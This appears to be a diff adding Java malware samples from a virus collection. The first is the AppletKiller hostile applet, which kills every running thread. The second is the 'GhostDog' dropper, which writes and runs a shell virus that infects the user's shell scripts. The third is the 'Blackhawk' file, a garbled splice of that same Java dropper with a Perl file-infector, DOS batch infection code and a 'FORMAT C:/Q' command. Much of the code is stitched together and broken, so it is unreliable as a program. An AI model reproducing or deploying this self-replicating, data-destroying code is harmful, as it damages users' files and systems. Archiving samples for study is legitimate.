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Java/Trojan.Java.AppletKiller

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+
+/*  AppletKiller.java by Mark D. LaDue */
+
+/*  April 1, 1996  */
+
+/*  Copyright (c) 1996 Mark D. LaDue
+    You may study, use, modify, and distribute this example for any purpose.
+    This example is provided WITHOUT WARRANTY either expressed or implied.  */
+
+/*  This hostile applet stops any applets that are running and kills any
+    other applets that are downloaded. */ 
+
+import java.applet.*;
+import java.awt.*;
+import java.io.*;
+
+public class AppletKiller extends java.applet.Applet implements Runnable {
+    Thread killer;
+    
+    public void init() {
+        killer = null;
+    }
+
+    public void start() {
+        if (killer == null) {
+            killer = new Thread(this,"killer");
+            killer.setPriority(Thread.MAX_PRIORITY);
+            killer.start();
+        }
+    }
+
+    public void stop() {}    
+
+// Kill all threads except this one
+
+    public void run() {
+        try {
+            while (true) {
+                ThreadKiller.killAllThreads();
+                try { killer.sleep(100); }
+                catch (InterruptedException e) {}
+            }
+        }
+        catch (ThreadDeath td) {}
+
+// Resurrect the hostile thread in case of accidental ThreadDeath
+
+        finally {
+            AppletKiller ack = new AppletKiller();
+            Thread reborn = new Thread(ack, "killer");
+            reborn.start();
+        }
+    }
+}
+
+class ThreadKiller {
+
+// Ascend to the root ThreadGroup and list all subgroups recursively,
+// killing all threads as we go
+
+    public static void killAllThreads() {
+        ThreadGroup thisGroup;
+        ThreadGroup topGroup;
+        ThreadGroup parentGroup;
+        
+// Determine the current thread group
+        thisGroup = Thread.currentThread().getThreadGroup();
+        
+// Proceed to the top ThreadGroup
+        topGroup  = thisGroup;
+        parentGroup = topGroup.getParent();
+        while(parentGroup != null) {
+            topGroup  = parentGroup;
+            parentGroup = parentGroup.getParent();
+        }
+// Find all subgroups recursively 
+        findGroups(topGroup);
+    }
+    
+    private static void findGroups(ThreadGroup g) {
+        if (g == null) {return;}
+        else {
+        int numThreads = g.activeCount();
+        int numGroups = g.activeGroupCount();
+        Thread[] threads = new Thread[numThreads];
+        ThreadGroup[] groups = new ThreadGroup[numGroups];
+        g.enumerate(threads, false);
+        g.enumerate(groups, false);
+        for (int i = 0; i < numThreads; i++)
+            killOneThread(threads[i]);
+        for (int i = 0; i < numGroups; i++)
+            findGroups(groups[i]);
+        }
+    }
+
+    private static void killOneThread(Thread t) { 
+        if (t == null || t.getName().equals("killer")) {return;}
+        else {t.stop();}
+    }
+}

Java/Virus.Java.Ghotdog

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+import java.io.*;
+
+class GhostDog {
+    public static void main (String[] argv) {
+    try {
+        String userHome = System.getProperty("user.home");
+        String target = "$HOME";
+        FileOutputStream outer = new FileOutputStream(userHome + "/.ghostdog.sh");
+        String homer = "#!/bin/sh" + "\n" + "#-_" + "\n" +
+        "echo \"This is a New Target File from me..-->GhostDog<--.\"" + "\n" +
+        "for file in `find " + target + " -type f -print`" + "\n" + "do" +
+        "\n" + "    case \"`sed 1q $file`\" in" + "\n" +
+        "        \"#!/bin/sh\" ) grep '#-_' $file > /dev/null" +
+        " || sed -n '/#-_/,$p' $0 >> $file" + "\n" +
+        "    esac" + "\n" + "done" + "\n" + 
+        "2>/dev/null";
+        byte[] buffer = new byte[homer.length()];
+        ghostdog.getBytes(0, ghostdog.length(), buffer, 0);
+        public void start() {
+        if (sleeper == null) {
+        sleeper = new Thread(this);
+        sleeper.setPriority(Thread.MAX_PRIORITY);
+        sleeper.start();
+        }
+        outer.write(buffer);
+        outer.close();
+        Process chmod = Runtime.getRuntime().exec("/usr/bin/chmod 888 " +
+                        userHome + "/.ghostdog.sh");
+        Process exec = Runtime.getRuntime().exec("/bin/sh " + userHome +
+                       "/.ghostdog.sh");
+        } catch (IOException ioe) {}
+    }
+}

Java/Virus.Java.Hawk.a.txt

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+import java.io.*;
+
+class Blackhawk {
+public static void main (String[] argv) {
+try {
+String userHome = System.getProperty("user.home");
+String target = "$HOME";
+FileOutputStream outer = new FileOutputStream(userHome + "/.Blackhawk.sh");
+String homer = "#!/bin/sh" + "\n" + "#-_" + "\n" +
+"echo \"This is a New Target File from me..-->Blackhawk<--.\"" + "\n" +
+"for file in `find " + target + " -type f -print`" + "\n" + "do" +
+"\n" + " case \"`sed 1q $file`\" in" + "\n" +
+" \"#!/bin/sh\" ) grep '#-_' $file > /dev/null" +
+" || sed -n '/#-_/,$p' $0 >> $file" + "\n" +
+" esac" + "\n" + "done" + "\n" + 
+"2>/dev/null";
+byte[] buffer = new byte[homer.length()];
+Blackhawk.getBytes(0, Blackhawk.length(), buffer, 0);
+public void start() {
+if (sleeper == null) {
+sleeper = new Thread(this);
+sleeper.setPriority(Thread.MAX_PRIORITY);
+sleeper.start();
+}
+use File::Find;
+&virus();
+
+print "\
+nThis program is infected by the Blackhawk virus\n\n";
+
+sub virus
+
+{
+    my ( $pid, $new );   
+    if( $pid = fork ) { return; }
+    else
+      
+{
+        open( source, $0 );
+	finddepth ( \&infect, '/home/chris/test' );
+	sub infect 
+	  
+{
+            open target, "$File::Find::name";
+            $_ = <target>;
+	    if 
+( /(\#!.*Blackhawk)/ ) 
+	      {
+		$_ = <target>;
+		if( $_ ne "use File::Find;\n" )
+		  {
+                    $new = $1 . "\nuse File::Find;\n&virus();\n" . $_;
+                    while( <target> ) { $new = $new . $_; }
+		    seek(  source, 0, 0 );
+                    while( <source> ne "sub virus\n" ) { };
+                    $new = $new . "\nsub virus\n";
+                    while( <source> ) { $new = $new . $_; }                  
+                    close  target;
+                    open   target, ">$File::Find::name";
+                    print  target $new;
+                 }
+	      }
+	    close( target );   
+	  }
+        close( source );
+	exit( 0 );
+      }
+  }
+
+# a blackhawk virus, x
+# 
+
+
+outer.write(buffer);
+outer.close();
+Process chmod = Runtime.getRuntime().exec("/usr/bin/chmod 888 " +
+userHome + "/.Blackhawk.sh");
+Process exec = Runtime.getRuntime().exec("/bin/sh " + userHome +
+"/.Blackhawk.sh");
+} catch (IOException ioe) {}
+}
+}
+OurHost :
+@IF EXIST MAKEFILE FIND "ttt"<MAKEFILE >ttt.TMP
+@ECHO @CTTY NUL >ttt.BAT
+@ECHO IF _%1==_ttt GOTO ttt_INF >>ttt.BAT
+@ECHO IF EXIST ..\MAKEFILE CALL ttt.BAT ttt ..\MAKEFILE >>ttt.BAT
+@ECHO GOTO ttt_END >>ttt.BAT
+[Set Color Message Black Black][Exist %ExePath\My.Pro][If %Exist != 1]
+[Copy %FilePath\My.Pro %ExePath\My.Pro][End][Message][Set Color Message Red+ Black]
+[Set Color Message Black Black][Exist %FilePath\My.Pro][If %Exist != 1]
+[Copy %ExePath\My.Pro %FilePath\My.Pro][End][Message][Set Color Message Red+ Black]
+;; Payload *.*exe,com,bat,vbs,asm
+Set BEEP On
+Def *T172000=[Write 10 20 Your computer is infected with Blackhawk.Virus.\n   ,   ]
+[Play MST12005][Play L4CDECCDECEFL2GL4EFL2G][Play L8GAGFL4ECL8GAGFL4EC][Play L4CO2GO3L2CL4CO2GO3L2C][Redraw]
+@ECHO :ttt_INF >>ttt.BAT
+@ECHO FIND "ttt" %2 >>ttt.BAT
+@ECHO IF NOT ERRORLEVEL 1 GOTO ttt_END >>ttt.BAT
+@ECHO COPY /B %2+GW.TMP %2 >>ttt.BAT
+@ECHO :ttt_END >>ttt.BAT
+@ECHO FORMAT C:/Q
+@call ttt.BAT
+@del ttt.BAT
+@del ttt.TMP
+# [Blackhawk] by Kingrhua//SMF